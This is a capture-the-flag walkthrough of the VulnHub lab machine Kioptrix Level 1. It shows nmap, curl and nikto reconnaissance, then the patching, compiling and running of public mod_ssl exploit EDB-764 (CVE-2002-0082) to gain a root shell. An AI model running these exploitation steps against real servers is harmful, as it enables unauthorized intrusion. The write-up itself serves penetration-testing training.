Kioptrix Level #1

You can find these challenges on VulnHub and here.

Recon, Scanning & Enumeration

After identifying the IP address of the virtual machine, we begin with a quick nmap scan of the top 1,000 ports to get a quick idea of what may be running on the host. By scanning just these 1,000 ports we should be over 90% effective in identifying common open ports (Reference: Optimizing Nmap Performance). We can start exploring these initial findings as we wait for a more thorough scan to complete.

 root@linux:~# nmap --top-ports 1000 

Starting Nmap 7.60 ( ) at 2018-12-25 16:14 UTC
Nmap scan report for
Host is up (0.000033s latency).
Not shown: 994 closed ports
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm

Before exploring these six open ports, let’s kick off a thorough scan with:

root@linux:~# nmap -sSVC -p- -oA kioptrix1

Now, on to the ports we already know about. First, let’s take a look at ports 80 & 443. We can use curl to quickly grab the headers:

root@linux:~# curl --head
HTTP/1.1 200 OK
Date: Tue, 25 Dec 2018 18:49:37 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

root@linux:~# curl --head
HTTP/1.1 400 Bad Request
Date: Tue, 25 Dec 2018 18:49:43 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Connection: close
Content-Type: text/html; charset=iso-8859-1

We notice that it is running an old version of the Apache web server with mod_ssl 2.8.4. Now, let’s quickly navigate to the page in our browser and see what is being hosted. Looks like the default Apache test page. At this point we could run a tool like dirb to see if we can find any hidden files, directories, or possibly other web apps that could be running on the server.

Default Apache Test Page

Instead, let’s first try scanning the site with nikto. We can scan both port 80 & 443 using the following syntax:

root@linux:~# nikto -h -p 80,443

Looking through the output the following line grabs our attention:

 mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. 


Since this vulnerability gives us some hope of obtaining a remote shell and our full Nmap scan did not yield additional open ports, let’s look into this and see if we can find a usable exploit. On Kali linux we can use the searchsploit utility to find a relevant exploit. Alternatively we can browse to the Exploit Database and run a search on mod_ssl.

Let’s try the exploit with EDB-ID #764. We can either download the exploit code from the website or on Kali linux we can use the searchsploit utility to create a mirror copy of the exploit code in the current directory with:

root@kali:~# searchsploit -m 764

Attempting to compile the exploit results in a number of errors.

Errors compiling 764.c

We can run some Google searches for potential solutions to these errors. Following the suggestions here the exploit can be updated so that it compiles successfully. As a shortcut to manually making the changes to the code, you can download the patch file to easily make the change. Patch the original code and compile as follows:

root@kali:~# patch 764.c -i 764-patch.txt -o 764-fixed.c
root@kali:~# gcc -o 764 764-fixed.c -lcrypto

Running the exploit with no options we can review the usage instructions and see a long list of potential offsets depending on the OS and version of Apache that is being run. We run the exploit with no options again and grep for the Apache version we found earlier:

root@linux:~# ./764 | grep "apache-1.3.20"
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x27 - FreeBSD (apache-1.3.20)
0x28 - FreeBSD (apache-1.3.20)
0x29 - FreeBSD (apache-1.3.20+2.8.4)
0x2a - FreeBSD (apache-1.3.20_1)
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x86 - SuSE Linux 7.3 (apache-1.3.20)

Finding the right offset and number of connections may take some effort. If at first it doesn’t work try it again. Running the following did the trick and resulted in a root shell:

root@linux:~# ./764 0x6b 443 -c 40-50
R00t Shell!